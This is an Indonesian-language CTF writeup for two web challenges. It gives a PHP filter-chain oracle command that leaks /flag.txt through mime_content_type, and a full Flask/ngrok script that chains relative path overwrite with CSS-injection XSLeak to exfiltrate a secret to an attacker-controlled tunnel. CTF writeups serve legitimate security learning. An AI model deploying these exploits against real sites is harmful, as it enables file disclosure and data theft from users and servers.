# ARA CTF Writeup ALL Web From TCP1P Team # Web ## Simple ### Technical Review ![image](https://hackmd.io/_uploads/Sy9oZ7vnT.png) Pada challenge ini kita perlu untuk melakukan exploitasi pada salah satu fungsi berikut yaitu: - `filesize` - `mime_content_type` - `realpath` Perlu diketahui bahwa beberapa fungsi yang berkaitan dengan meread file di php support dengan php filter, yang dimana ini membuat fungsi tersebut vulerable dengan serangan php filter chain. ### Exploit Disini saya menggunakan exploit dari https://github.com/synacktiv/php_filter_chains_oracle_exploit untuk melakukan Time Based Out Of Bound (OOB) exploit pada fungsi mime_content_type. Berikut script yang saya gunakan untuk melakukan exfitrasi pada data flag: ```sh! python3 php_filter_chains_oracle_exploit/filters_chain_oracle_exploit.py --target http://103.152.242.68:200 11/ --file '/flag.txt' --parameter input --data '{"action":"mime_content_type"}' --verb "POST" --time_based_a ttack true ``` ![image](https://hackmd.io/_uploads/rkX33Qvnp.png) ## Yana ### Technil Review ![image](https://hackmd.io/_uploads/HkfMaQv26.png) Pada challenge ini kita mengesploitasi 2 vulnerability yaitu XSLeak menggunakan CSS, dan juga Relative Path Overide. Relative Path Overide yang kita gunakan dapat terefleksi pada error berikut: ```python! app.all('*', (req, res) => { return res.status(200).send(`${req.path} Path not found`); }); ``` dan juga karena dalam index.html style.css menggunakan relative path, kite dapat melakukan overide pada style.css, sehingga input kita yang tereflected tadi mengganti style css yang ada ```html! <style> @import 'style.css'; </style> ``` ### Exploit Berikut solve script yang saya gunakan untuk melakukan XSLeak pada flag: ```python! # http://103.152.242.68:20012/**/@import/**/url(http://{IP}/leak.css)/*/..%2f..%2f..%2f..%2f..%2f..%2f..%2findex.html import os import string from time import sleep from flask import Flask, request from pyngrok import ngrok from flask_cors import CORS PORT = 4444 app = Flask(__name__) CORS(app, origins="http://server:8080") TUNNEL = ngrok.connect(4444, "http").public_url LOCAL_URL2 = "http://172.22.0.1:4444/" flag = "" def oracle(chars): return 'input[value^="%s"]{background-image:url("%s")}' % (chars, TUNNEL+"/leaked?l="+chars) def valueleak(known): result = "" for i in string.ascii_letters+string.digits+"_{}": result += oracle(known+i) return result @app.get("/leaked") def leak(): global flag leaked = request.args.get("l") flag = leaked return "ok" @app.get("/css/<int:i>") def css(i: int): global flag while len(flag) != i: sleep(1) return valueleak(known=flag), 200, {"Content-Type": "text/css"} def get_path_depth(path): # Use os.path.normpath to handle different path separators normalized_path = os.path.normpath(path) # Split the path into its components path_components = normalized_path.split(os.sep) # Remove empty components (e.g., double slashes) path_components = [component for component in path_components if component] # Return the number of components as the depth return len(path_components) def genpayload(lenght): result = "http://server:8080/**/" for i in range(lenght): if i < len(flag): continue result += '@import/**/url(%s);' % (LOCAL_URL2+"css/"+str(i)) result += "/*/" path = get_path_depth(result)-2 result += f'{"..%2f"*path}index.html' return result if __name__ == "__main__": print(genpayload(30)) app.run("0.0.0.0", 4444) ```